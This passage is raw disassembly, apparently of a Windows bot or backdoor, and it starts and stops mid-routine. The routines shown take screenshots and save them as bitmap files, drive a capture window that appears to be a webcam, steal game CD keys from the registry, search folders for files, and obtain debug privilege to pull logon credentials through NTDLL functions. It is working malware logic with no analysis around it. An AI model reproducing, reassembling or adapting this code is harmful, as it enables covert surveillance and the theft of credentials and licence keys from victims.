		mov	[ebp+var_10], eax
		ja	short loc_406C5B
		push	18h
		push	edi
		call	ds:dword_436470	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_406C5D
; ---------------------------------------------------------------------------


loc_406C5B:				; CODE XREF: sub_406BF9+50j
		xor	ebx, ebx


loc_406C5D:				; CODE XREF: sub_406BF9+60j
		push	edi
		call	ds:dword_4364B4	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_406E12
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	ds:dword_4364AC	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_406E1D
		push	eax
		push	[ebp+var_4]
		call	ds:dword_436344	; SelectObject
		cmp	eax, esi
		jz	loc_406E1D
		cmp	eax, 0FFFFFFFFh
		jz	loc_406E1D
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_4364B0	; BitBlt
		test	eax, eax
		jz	loc_406E1D
		cmp	ebx, esi
		jz	short loc_406D1A
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	ds:dword_436398	; GetDIBColorTable
		mov	ebx, eax


loc_406D1A:				; CODE XREF: sub_406BF9+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	ds:off_42207C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_406DFD
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	ds:dword_4220B0	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4220B0	; WriteFile
		cmp	ebx, esi
		jz	short loc_406DDF
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4220B0	; WriteFile


loc_406DDF:				; CODE XREF: sub_406BF9+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_4220B0	; WriteFile
		push	[ebp+arg_0]
		call	ds:off_422074
		push	1
		pop	esi


loc_406DFD:				; CODE XREF: sub_406BF9+1A2j
		push	[ebp+var_1C]
		call	ds:dword_4363CC	; DeleteObject
		push	[ebp+var_4]
		call	ds:dword_436330	; DeleteDC
		mov	edi, [ebp+var_20]


loc_406E12:				; CODE XREF: sub_406BF9+70j
		push	edi
		call	ds:dword_436330	; DeleteDC
		mov	eax, esi
		jmp	short loc_406E2F
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_406BF9+C7j
					; sub_406BF9+D9j ...
		push	edi
		call	ds:dword_436330	; DeleteDC
		push	[ebp+var_4]
		call	ds:dword_436330	; DeleteDC


loc_406E2D:				; CODE XREF: sub_406BF9+23j
		xor	eax, eax


loc_406E2F:				; CODE XREF: sub_406BF9+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406BF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E34	proc near		; CODE XREF: sub_40D2E0+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_434F00
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_4363C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_406E72
		mov	eax, esi
		jmp	loc_407028
; ---------------------------------------------------------------------------


loc_406E72:				; CODE XREF: sub_406E34+35j
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_406E8F
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_4364C4	; SendMessageA
		jmp	short loc_406E91
; ---------------------------------------------------------------------------


loc_406E8F:				; CODE XREF: sub_406E34+47j
		xor	eax, eax


loc_406E91:				; CODE XREF: sub_406E34+59j
		cmp	eax, ebx
		jnz	short loc_406E9C


loc_406E95:				; CODE XREF: sub_406E34+88j
					; sub_406E34+BCj
		mov	ebx, esi
		jmp	loc_40701D
; ---------------------------------------------------------------------------


loc_406E9C:				; CODE XREF: sub_406E34+5Fj
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_406EB9
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_406EB9:				; CODE XREF: sub_406E34+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_406E95
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_406EDF
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_406EE2
; ---------------------------------------------------------------------------


loc_406EDF:				; CODE XREF: sub_406E34+98j
		mov	[ebp+arg_4], ebx


loc_406EE2:				; CODE XREF: sub_406E34+A9j
		push	[ebp+arg_4]
		call	sub_415D2F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_406E95
		push	[ebp+arg_4]
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_406F09
		push	1
		pop	ebx
		jmp	loc_40701D
; ---------------------------------------------------------------------------


loc_406F09:				; CODE XREF: sub_406E34+CBj
		push	[ebp+var_4]
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_406F26
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA


loc_406F26:				; CODE XREF: sub_406E34+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_415560
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_406F41
		mov	ecx, 280h


loc_406F41:				; CODE XREF: sub_406E34+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_406F4D
		mov	eax, 1E0h


loc_406F4D:				; CODE XREF: sub_406E34+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_406F97
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA


loc_406F97:				; CODE XREF: sub_406E34+153j
		push	[ebp+var_4]
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_406FB4
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA


loc_406FB4:				; CODE XREF: sub_406E34+16Ej
		push	[ebp+var_4]
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_406FD3
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA


loc_406FD3:				; CODE XREF: sub_406E34+18Bj
		push	[ebp+var_4]
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_406FF0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA


loc_406FF0:				; CODE XREF: sub_406E34+1AAj
		push	[ebp+var_8]
		call	sub_415DE1
		push	esi
		call	sub_415DE1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_40701D
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	ds:dword_4364C4	; SendMessageA


loc_40701D:				; CODE XREF: sub_406E34+63j
					; sub_406E34+D0j ...
		push	[ebp+var_4]
		call	ds:dword_436518	; DestroyWindow
		mov	eax, ebx


loc_407028:				; CODE XREF: sub_406E34+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406E34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40702D	proc near		; CODE XREF: sub_40D2E0+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_434F00
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_4363C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40706B
		mov	eax, esi
		jmp	loc_407267
; ---------------------------------------------------------------------------


loc_40706B:				; CODE XREF: sub_40702D+35j
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_407088
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	ds:dword_4364C4	; SendMessageA
		jmp	short loc_40708A
; ---------------------------------------------------------------------------


loc_407088:				; CODE XREF: sub_40702D+47j
		xor	eax, eax


loc_40708A:				; CODE XREF: sub_40702D+59j
		cmp	eax, ebx
		jnz	short loc_407095


loc_40708E:				; CODE XREF: sub_40702D+8Bj
					; sub_40702D+BCj
		mov	ebx, esi
		jmp	loc_40725E
; ---------------------------------------------------------------------------


loc_407095:				; CODE XREF: sub_40702D+5Fj
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_4070B5
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_4070B5:				; CODE XREF: sub_40702D+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_40708E
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_4070D8
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	ds:dword_4364C4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4070DB
; ---------------------------------------------------------------------------


loc_4070D8:				; CODE XREF: sub_40702D+96j
		mov	[ebp+arg_4], ebx


loc_4070DB:				; CODE XREF: sub_40702D+A9j
		push	[ebp+arg_4]
		call	sub_415D2F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40708E
		push	[ebp+arg_4]
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_407102
		push	1
		pop	ebx
		jmp	loc_40725E
; ---------------------------------------------------------------------------


loc_407102:				; CODE XREF: sub_40702D+CBj
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_40711F
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_40711F:				; CODE XREF: sub_40702D+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_415560
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_40713A
		mov	ecx, 0A0h


loc_40713A:				; CODE XREF: sub_40702D+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_407144
		push	78h
		pop	eax


loc_407144:				; CODE XREF: sub_40702D+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_407189
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_407189:				; CODE XREF: sub_40702D+14Aj
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_4071A6
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_4071A6:				; CODE XREF: sub_40702D+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_4071E4
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_4071E4:				; CODE XREF: sub_40702D+1A3j
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_4071FF
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_4071FF:				; CODE XREF: sub_40702D+1C0j
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_407218
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_407218:				; CODE XREF: sub_40702D+1DBj
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_407235
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_407235:				; CODE XREF: sub_40702D+1F4j
		push	[ebp+var_4]
		call	sub_415DE1
		push	esi
		call	sub_415DE1
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_436408	; IsWindow
		test	eax, eax
		jz	short loc_40725E
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	ds:dword_4364C4	; SendMessageA


loc_40725E:				; CODE XREF: sub_40702D+63j
					; sub_40702D+D0j ...
		push	edi
		call	ds:dword_436518	; DestroyWindow
		mov	eax, ebx


loc_407267:				; CODE XREF: sub_40702D+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40702D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40726C	proc near		; CODE XREF: sub_40D2E0+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_426FAC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_40740D
		push	esi
		push	edi
		mov	eax, offset off_426FAC
		mov	esi, offset dword_426FB8
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_40729C:				; CODE XREF: sub_40726C+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_4364D8	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_436374	; RegQueryValueExA
		test	eax, eax
		jnz	loc_4073F3
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_4073B7
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415B78
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_4073F3
		push	eax


loc_407315:				; CODE XREF: sub_40726C+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41712C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_4073AC
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407342
		push	[ebp+var_8]
		jmp	short loc_407315
; ---------------------------------------------------------------------------


loc_407342:				; CODE XREF: sub_40726C+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_417070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407370
		lea	eax, [ebp+var_70]
		push	offset asc_4281B0 ; "="
		push	eax
		call	sub_416C8F
		push	offset asc_4281B0 ; "="
		push	ebx
		call	sub_416C8F
		add	esp, 10h
		jmp	short loc_407373
; ---------------------------------------------------------------------------


loc_407370:				; CODE XREF: sub_40726C+E4j
		lea	eax, [ebp+var_70]


loc_407373:				; CODE XREF: sub_40726C+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415480
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40A5B3
		add	esp, 18h


loc_4073AC:				; CODE XREF: sub_40726C+B9j
		push	[ebp+var_8]
		call	sub_415AD0
		pop	ecx
		jmp	short loc_4073F3
; ---------------------------------------------------------------------------


loc_4073B7:				; CODE XREF: sub_40726C+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40A5B3
		add	esp, 28h


loc_4073F3:				; CODE XREF: sub_40726C+60j
					; sub_40726C+A2j ...
		push	[ebp+var_4]
		call	ds:dword_436444	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_40729C
		pop	edi
		pop	esi


loc_40740D:				; CODE XREF: sub_40726C+19j
		pop	ebx
		leave
		retn
sub_40726C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407410	proc near		; DATA XREF: sub_40D2E0+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415C80
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_407465
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415C80
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_407465:				; CODE XREF: sub_407410+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_428204
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4074AA
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40BAE7
		add	esp, 14h


loc_4074AA:				; CODE XREF: sub_407410+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_40752B
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_4281D4
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40750B
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40BAE7
		add	esp, 14h


loc_40750B:				; CODE XREF: sub_407410+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_10]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407410	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40752B	proc near		; CODE XREF: sub_407410+B9p
					; sub_40752B+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_4	; "%s\\*"
		push	esi
		push	eax
		call	sub_4159FA
		mov	edi, ds:off_422094
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; sub_4DA334
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_4075E8


loc_407577:				; CODE XREF: sub_40752B+BBj
		test	[ebp+var_144], 10h
		jz	short loc_4075D4
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_40759B
		cmp	[ebp+var_117], 0
		jz	short loc_4075D4
		cmp	[ebp+var_117], 2Eh
		jz	short loc_4075D4


loc_40759B:				; CODE XREF: sub_40752B+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_4159FA
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40752B
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_4075D4:				; CODE XREF: sub_40752B+53j
					; sub_40752B+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:off_422090
		test	eax, eax
		jnz	short loc_407577


loc_4075E8:				; CODE XREF: sub_40752B+4Aj
		push	[ebp+var_4]
		call	ds:off_422084
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi ; sub_4DA334
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40766E


loc_40761F:				; CODE XREF: sub_40752B+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_4159FA
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:off_422090
		test	eax, eax
		jnz	short loc_40761F


loc_40766E:				; CODE XREF: sub_40752B+F2j
		push	esi
		call	ds:off_422084
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40752B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40767D	proc near		; DATA XREF: sub_40D2E0+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_409DD0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_4076BC
		cmp	eax, 2
		jz	short loc_4076BC
		push	offset unk_428478
		jmp	loc_4077FB
; ---------------------------------------------------------------------------


loc_4076BC:				; CODE XREF: sub_40767D+2Ej
					; sub_40767D+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41358D
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4077F6
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:off_4220C0
		mov	esi, ds:off_4220BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi ; sub_4DB076
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	ds:dword_436114, eax
		call	esi ; sub_4DB076
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	ds:dword_436108, eax
		call	esi ; sub_4DB076
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	ds:dword_436318, eax
		call	esi ; sub_4DB076
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	ds:dword_436110, eax
		call	esi ; sub_4DB076
		mov	ds:dword_43610C, eax
		call	sub_40784F
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4077C9
		mov	esi, ds:dword_4220B8
		mov	edi, 400h
		mov	ebx, offset dword_435108
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_435908
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_436320
		push	[ebp+arg_0]
		jnz	short loc_407775
		call	sub_4079D8
		jmp	short loc_40777A
; ---------------------------------------------------------------------------


loc_407775:				; CODE XREF: sub_40767D+EFj
		call	sub_407B7F


loc_40777A:				; CODE XREF: sub_40767D+F6j
		pop	ecx
